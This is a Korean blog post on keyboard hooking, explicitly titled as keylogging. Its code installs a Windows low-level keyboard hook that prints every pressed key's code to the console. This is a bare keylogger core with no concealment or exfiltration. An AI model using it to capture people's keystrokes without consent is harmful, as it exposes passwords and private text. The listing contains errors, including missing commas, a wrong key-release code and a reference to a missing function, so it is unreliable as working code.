ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [C/C++] 키보드 후킹 (키로깅)
    프로그래밍/C++ 2019. 2. 18. 12:00
    728x90

    C/C++은 C#와는 다르게 후킹 과정이 굉장히 간단하다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    #include <Windows.h>
    HHOOK hHook;
     
    LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            PKBDLLHOOKSTRUCT pKey = (PKBDLLHOOKSTRUCT)lParam;
     
            //Code가 0보다 클 때에만 처리해야합니다. 아닐 경우엔 메세지를 흘려보냅니다.(이유는 잘 모릅니다.)
            //wParam==256부분은, 키보드를 누르는 이벤트와 떼는 이벤트 중 누르는 이벤트만을 통과시킵니다.
            //만약 ==267로 바꿀 경우, 키보드를 땔 떼 코드가 실행됩니다.
            if (nCode >= 0 && (int)wParam == 256) {
                //lParam포인터가 가리키는 곳에서 키코드를 읽어 keyCheck로 보냅니다.
                cout << pKey->vkCode << " ";
            }
        }
        CallNextHookEx(hHook, nCode, wParam, lParam);
        return 0;
    }
     
    void SetHook() {
        HMODULE hInstance = GetModuleHandle(NULL);
        hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);
    }
     
    void UnHook() {
        UnhookWindowsHookEx(hHook);
    }
     
    int main(){
        SetHook();
        MSG msg;
        GetMessage(&msg, NULLNULLNULL);
        UnHook();
    }
    cs


    728x90

    댓글

Copyright ⓒ syudal.tistory.com